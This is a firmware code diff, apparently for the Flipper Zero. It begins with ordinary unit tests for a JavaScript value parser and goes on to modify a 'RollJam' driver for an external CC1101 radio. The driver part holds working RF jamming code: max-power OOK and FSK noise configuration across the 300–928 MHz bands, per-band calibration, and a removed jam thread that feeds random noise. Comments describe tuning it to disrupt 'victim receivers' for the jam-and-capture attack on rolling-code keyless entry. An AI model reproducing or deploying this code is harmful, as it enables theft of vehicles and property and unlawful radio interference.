||||
mu_assert_string_eq(c_value, result_str);
|
||||
} else {
|
||||
mu_assert_mem_eq(c_value, result, c_value_size);
|
||||
}
|
||||
}
|
||||
|
||||
static void js_value_test_primitives(struct mjs* mjs) {
|
||||
int32_t i32 = 123;
|
||||
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
|
||||
|
||||
double dbl = 123.456;
|
||||
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
|
||||
|
||||
const char* str = "test";
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
|
||||
|
||||
bool boolean = true;
|
||||
js_value_test_primitive(
|
||||
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
|
||||
}
|
||||
|
||||
static uint32_t
|
||||
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
|
||||
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
|
||||
uint32_t result;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
|
||||
if(status != JsValueParseStatusOk) return 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
static void js_value_test_enums(struct mjs* mjs) {
|
||||
static const JsValueEnumVariant enum_1_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
|
||||
|
||||
static const JsValueEnumVariant enum_2_variants[] = {
|
||||
{"read", 4},
|
||||
{"write", 8},
|
||||
};
|
||||
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
|
||||
|
||||
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
|
||||
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
|
||||
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
|
||||
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
|
||||
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
|
||||
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
|
||||
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
|
||||
}
|
||||
|
||||
static void js_value_test_object(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
|
||||
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueEnumVariant enum_variants[] = {
|
||||
{"variant 1", 1},
|
||||
{"variant 2", 2},
|
||||
{"variant 3", 3},
|
||||
};
|
||||
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
{"enum", &enum_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_number(mjs, 123));
|
||||
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
uint32_t result_enum;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str,
|
||||
&result_enum);
|
||||
mu_assert_int_eq(JsValueParseStatusOk, status);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
mu_assert_int_eq(2, result_enum);
|
||||
}
|
||||
|
||||
static void js_value_test_default(struct mjs* mjs) {
|
||||
static const JsValueDeclaration int_decl =
|
||||
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
|
||||
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
|
||||
|
||||
static const JsValueObjectField fields[] = {
|
||||
{"int", &int_decl},
|
||||
{"str", &str_decl},
|
||||
};
|
||||
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
|
||||
|
||||
mjs_val_t object = mjs_mk_object(mjs);
|
||||
JS_ASSIGN_MULTI(mjs, object) {
|
||||
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
|
||||
JS_FIELD("int", mjs_mk_undefined());
|
||||
}
|
||||
|
||||
const char* result_str;
|
||||
int32_t result_int;
|
||||
JsValueParseStatus status;
|
||||
JS_VALUE_PARSE(
|
||||
mjs,
|
||||
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
|
||||
JsValueParseFlagNone,
|
||||
&status,
|
||||
&object,
|
||||
&result_int,
|
||||
&result_str);
|
||||
mu_assert_string_eq("Helloooo!", result_str);
|
||||
mu_assert_int_eq(123, result_int);
|
||||
}
|
||||
|
||||
static void js_value_test_args_fn(struct mjs* mjs) {
|
||||
static const JsValueDeclaration arg_list[] = {
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
JS_VALUE_SIMPLE(JsValueTypeInt32),
|
||||
};
|
||||
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
|
||||
|
||||
int32_t a, b, c;
|
||||
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
|
||||
|
||||
mu_assert_int_eq(123, a);
|
||||
mu_assert_int_eq(456, b);
|
||||
mu_assert_int_eq(-420, c);
|
||||
}
|
||||
|
||||
static void js_value_test_args(struct mjs* mjs) {
|
||||
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
|
||||
|
||||
mjs_val_t result;
|
||||
mjs_val_t args[] = {
|
||||
mjs_mk_number(mjs, 123),
|
||||
mjs_mk_number(mjs, 456),
|
||||
mjs_mk_number(mjs, -420),
|
||||
};
|
||||
mu_assert_int_eq(
|
||||
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
|
||||
}
|
||||
|
||||
MU_TEST(js_value_test) {
|
||||
struct mjs* mjs = mjs_create(NULL);
|
||||
|
||||
js_value_test_compatibility_matrix(mjs);
|
||||
js_value_test_literal(mjs);
|
||||
js_value_test_primitives(mjs);
|
||||
js_value_test_enums(mjs);
|
||||
js_value_test_object(mjs);
|
||||
js_value_test_default(mjs);
|
||||
js_value_test_args(mjs);
|
||||
|
||||
mjs_destroy(mjs);
|
||||
}
|
||||
|
||||
MU_TEST_SUITE(test_js) {
|
||||
MU_RUN_TEST(js_value_test);
|
||||
MU_RUN_TEST(js_test_basic);
|
||||
MU_RUN_TEST(js_test_math);
|
||||
MU_RUN_TEST(js_test_event_loop);
|
||||
MU_RUN_TEST(js_test_storage);
|
||||
}
|
||||
|
||||
int run_minunit_test_js(void) {
|
||||
MU_RUN_SUITE(test_js);
|
||||
return MU_EXIT_CODE;
|
||||
}
|
||||
|
||||
TEST_API_DEFINE(run_minunit_test_js)
|
||||
@@ -7,8 +7,6 @@
|
||||
|
||||
#include <rpc/rpc_i.h>
|
||||
#include <flipper.pb.h>
|
||||
#include <applications/system/js_app/js_thread.h>
|
||||
#include <applications/system/js_app/js_value.h>
|
||||
|
||||
static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
API_METHOD(resource_manifest_reader_alloc, ResourceManifestReader*, (Storage*)),
|
||||
@@ -34,21 +32,4 @@ static constexpr auto unit_tests_api_table = sort(create_array_t<sym_entry>(
|
||||
xQueueGenericSend,
|
||||
BaseType_t,
|
||||
(QueueHandle_t, const void* const, TickType_t, const BaseType_t)),
|
||||
API_METHOD(
|
||||
js_thread_run,
|
||||
JsThread*,
|
||||
(const char* script_path, JsThreadCallback callback, void* context)),
|
||||
API_METHOD(js_thread_stop, void, (JsThread * worker)),
|
||||
API_METHOD(js_value_buffer_size, size_t, (const JsValueParseDeclaration declaration)),
|
||||
API_METHOD(
|
||||
js_value_parse,
|
||||
JsValueParseStatus,
|
||||
(struct mjs * mjs,
|
||||
const JsValueParseDeclaration declaration,
|
||||
JsValueParseFlag flags,
|
||||
mjs_val_t* buffer,
|
||||
size_t buf_size,
|
||||
mjs_val_t* source,
|
||||
size_t n_c_vals,
|
||||
...)),
|
||||
API_VARIABLE(PB_Main_msg, PB_Main_msg_t)));
|
||||
|
||||
@@ -5,10 +5,15 @@
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
|
||||
// 5V OTG power
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
static bool otg_was_enabled = false;
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
use_flux_capacitor = enabled;
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_on(void) {
|
||||
otg_was_enabled = furi_hal_power_is_otg_enabled();
|
||||
@@ -27,14 +32,12 @@ static void rolljam_ext_power_off(void) {
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO Pins
|
||||
// ============================================================
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
static const GpioPin* pin_sck = &gpio_ext_pb3;
|
||||
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
|
||||
static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
|
||||
// ============================================================
|
||||
// CC1101 Registers
|
||||
@@ -90,30 +93,43 @@ static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Bit-bang SPI
|
||||
// Band calibration
|
||||
// ============================================================
|
||||
|
||||
typedef struct {
|
||||
uint32_t min_freq;
|
||||
uint32_t max_freq;
|
||||
uint8_t fscal3;
|
||||
uint8_t fscal2;
|
||||
uint8_t fscal1;
|
||||
uint8_t fscal0;
|
||||
} ExtBandCal;
|
||||
|
||||
static const ExtBandCal ext_band_cals[] = {
|
||||
{ 299000000, 348000000, 0xEA, 0x2A, 0x00, 0x1F },
|
||||
{ 386000000, 464000000, 0xE9, 0x2A, 0x00, 0x1F },
|
||||
{ 778000000, 928000000, 0xEA, 0x2A, 0x00, 0x11 },
|
||||
};
|
||||
#define EXT_BAND_CAL_COUNT (sizeof(ext_band_cals) / sizeof(ext_band_cals[0]))
|
||||
|
||||
static const ExtBandCal* ext_get_band_cal(uint32_t freq) {
|
||||
for(size_t i = 0; i < EXT_BAND_CAL_COUNT; i++) {
|
||||
if(freq >= ext_band_cals[i].min_freq && freq <= ext_band_cals[i].max_freq)
|
||||
return &ext_band_cals[i];
|
||||
}
|
||||
return &ext_band_cals[1];
|
||||
}
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
for(int i = 0; i < 16; i++) __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) {
|
||||
furi_hal_gpio_write(pin_cs, false);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
|
||||
static inline void cs_hi(void) {
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
static inline void cs_lo(void) { furi_hal_gpio_write(pin_cs, false); spi_delay(); }
|
||||
static inline void cs_hi(void) { spi_delay(); furi_hal_gpio_write(pin_cs, true); spi_delay(); }
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
@@ -147,20 +163,10 @@ static uint8_t cc_strobe(uint8_t cmd) {
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a);
|
||||
spi_byte(v);
|
||||
spi_byte(a); spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0x80);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
@@ -178,10 +184,6 @@ static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Helpers
|
||||
// ============================================================
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
@@ -203,13 +205,8 @@ static bool cc_check(void) {
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) {
|
||||
return cc_read_status(CC_MARCSTATE) & 0x1F;
|
||||
}
|
||||
|
||||
static uint8_t cc_txbytes(void) {
|
||||
return cc_read_status(CC_TXBYTES) & 0x7F;
|
||||
}
|
||||
static uint8_t cc_state(void) { return cc_read_status(CC_MARCSTATE) & 0x1F; }
|
||||
static uint8_t cc_txbytes(void) { return cc_read_status(CC_TXBYTES) & 0x7F; }
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
@@ -222,271 +219,97 @@ static void cc_idle(void) {
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// JAMMING APPROACH: Random OOK noise via FIFO
|
||||
// ============================================================
|
||||
/*
|
||||
* Previous approaches and their problems:
|
||||
*
|
||||
* 1. FIFO random data (first attempt):
|
||||
* - 100% underflow because data rate was too high
|
||||
*
|
||||
* 2. Broadband GDO0 toggling:
|
||||
* - Self-interference with internal CC1101
|
||||
*
|
||||
* 3. Pure CW carrier:
|
||||
* - Too weak/narrow to jam effectively
|
||||
*
|
||||
* NEW APPROACH: Low data rate FIFO feeding
|
||||
*
|
||||
* Key insight: the underflow happened because data rate was
|
||||
* 115 kBaud and we couldn't feed the FIFO fast enough from
|
||||
* the thread (furi_delay + SPI overhead).
|
||||
*
|
||||
* Solution: Use LOW data rate (~1.2 kBaud) so the FIFO
|
||||
* drains very slowly. 64 bytes at 1.2 kBaud lasts ~426ms!
|
||||
* That's plenty of time to refill.
|
||||
*
|
||||
* At 1.2 kBaud with random data, the OOK signal creates
|
||||
* random on/off keying with ~833us per bit. This produces
|
||||
* a modulated signal with ~1.2kHz bandwidth - enough to
|
||||
* disrupt OOK receivers but narrow enough to not self-jam.
|
||||
*
|
||||
* Combined with the 700kHz offset, this is:
|
||||
* - Visible on spectrum analyzers (modulated signal)
|
||||
* - Effective at disrupting victim receivers
|
||||
* - NOT interfering with our narrow 58kHz RX
|
||||
*/
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
|
||||
// GDO0: TX FIFO threshold
|
||||
cc_write(CC_IOCFG0, 0x02); // GDO0 asserts when TX FIFO below threshold
|
||||
cc_write(CC_IOCFG2, 0x0E); // Carrier sense
|
||||
|
||||
// Fixed packet length, 255 bytes per packet
|
||||
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
|
||||
cc_write(CC_PKTCTRL1, 0x00); // No address check
|
||||
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
|
||||
|
||||
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
|
||||
// No sync word - just raw data
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
// Frequency
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// CRITICAL: LOW data rate to prevent FIFO underflow
|
||||
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
|
||||
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00); // No preamble
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
|
||||
// Auto-return to TX after packet sent
|
||||
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
|
||||
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
|
||||
|
||||
// MAX TX power
|
||||
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
|
||||
|
||||
// PATABLE: ALL entries at max power
|
||||
// Index 0 = 0x00 for OOK "0" (off)
|
||||
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
|
||||
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x30);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x11);
|
||||
uint8_t pa[8] = {0x00,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
// Calibration
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
|
||||
// Test regs
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
// Calibrate
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
// Verify configuration
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm4 = cc_read(CC_MDMCFG4);
|
||||
uint8_t mdm3 = cc_read(CC_MDMCFG3);
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
|
||||
uint8_t plen = cc_read(CC_PKTLEN);
|
||||
uint8_t pa0 = cc_read(CC_PATABLE);
|
||||
|
||||
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
|
||||
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
|
||||
|
||||
FURI_LOG_I(TAG, "EXT: state=0x%02X FSCAL={0x%02X,0x%02X,0x%02X,0x%02X}",
|
||||
st, cal->fscal3, cal->fscal2, cal->fscal1, cal->fscal0);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Jam thread - FIFO-fed OOK at low data rate
|
||||
// ============================================================
|
||||
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
FURI_LOG_I(TAG, "JAM: LOW-RATE OOK NOISE MODE");
|
||||
FURI_LOG_I(TAG, "Target: %lu Jam: %lu (+%lu)",
|
||||
app->frequency, app->jam_frequency, (uint32_t)JAM_OFFSET_HZ);
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed!");
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: No chip!");
|
||||
return -1;
|
||||
}
|
||||
if(!cc_configure_jam(app->jam_frequency)) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed!");
|
||||
return -1;
|
||||
}
|
||||
|
||||
// PRNG state
|
||||
uint32_t prng = 0xDEADBEEF ^ (uint32_t)(app->jam_frequency);
|
||||
|
||||
// Flush TX FIFO
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
|
||||
// Pre-fill FIFO with random data (64 bytes max FIFO)
|
||||
uint8_t noise[62];
|
||||
for(uint8_t i = 0; i < 62; i++) {
|
||||
prng ^= prng << 13;
|
||||
prng ^= prng >> 17;
|
||||
prng ^= prng << 5;
|
||||
noise[i] = (uint8_t)(prng & 0xFF);
|
||||
}
|
||||
cc_write_burst(CC_TXFIFO, noise, 62);
|
||||
|
||||
uint8_t txb = cc_txbytes();
|
||||
FURI_LOG_I(TAG, "JAM: FIFO pre-filled, txbytes=%d", txb);
|
||||
|
||||
// Enter TX
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
|
||||
uint8_t st = cc_state();
|
||||
FURI_LOG_I(TAG, "JAM: After STX state=0x%02X", st);
|
||||
|
||||
if(st != MARC_TX) {
|
||||
// Retry
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
cc_write_burst(CC_TXFIFO, noise, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
st = cc_state();
|
||||
FURI_LOG_I(TAG, "JAM: Retry state=0x%02X", st);
|
||||
if(st != MARC_TX) {
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** OOK NOISE ACTIVE ***");
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
|
||||
st = cc_state();
|
||||
|
||||
if(st != MARC_TX) {
|
||||
// Packet finished or underflow - reload and re-enter TX
|
||||
underflows++;
|
||||
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
|
||||
// Refill with new random data
|
||||
for(uint8_t i = 0; i < 62; i++) {
|
||||
prng ^= prng << 13;
|
||||
prng ^= prng >> 17;
|
||||
prng ^= prng << 5;
|
||||
noise[i] = (uint8_t)(prng & 0xFF);
|
||||
}
|
||||
cc_write_burst(CC_TXFIFO, noise, 62);
|
||||
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Check if FIFO needs refilling
|
||||
txb = cc_txbytes();
|
||||
if(txb < 20) {
|
||||
// Refill what we can
|
||||
uint8_t space = 62 - txb;
|
||||
if(space > 50) space = 50;
|
||||
|
||||
for(uint8_t i = 0; i < space; i++) {
|
||||
prng ^= prng << 13;
|
||||
prng ^= prng >> 17;
|
||||
prng ^= prng << 5;
|
||||
noise[i] = (uint8_t)(prng & 0xFF);
|
||||
}
|
||||
cc_write_burst(CC_TXFIFO, noise, space);
|
||||
refills++;
|
||||
}
|
||||
|
||||
// Log periodically
|
||||
if(loops % 500 == 0) {
|
||||
FURI_LOG_I(TAG, "JAM: active loops=%lu uf=%lu refills=%lu txb=%d st=0x%02X",
|
||||
loops, underflows, refills, cc_txbytes(), cc_state());
|
||||
}
|
||||
|
||||
// At 1.2 kBaud, 62 bytes last ~413ms
|
||||
// Check every 50ms - plenty of time
|
||||
furi_delay_ms(50);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
const ExtBandCal* cal = ext_get_band_cal(freq);
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
cc_write(CC_MDMCFG4, 0x85);
|
||||
cc_write(CC_MDMCFG3, 0x43);
|
||||
cc_write(CC_MDMCFG2, 0x00);
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0,0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
cc_write(CC_FSCAL3, cal->fscal3);
|
||||
cc_write(CC_FSCAL2, cal->fscal2);
|
||||
cc_write(CC_FSCAL1, cal->fscal1);
|
||||
cc_write(CC_FSCAL0, cal->fscal0);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
return (cc_state() == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO
|
||||
// ============================================================
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init");
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
static void ext_gpio_init_spi_pins(void) {
|
||||
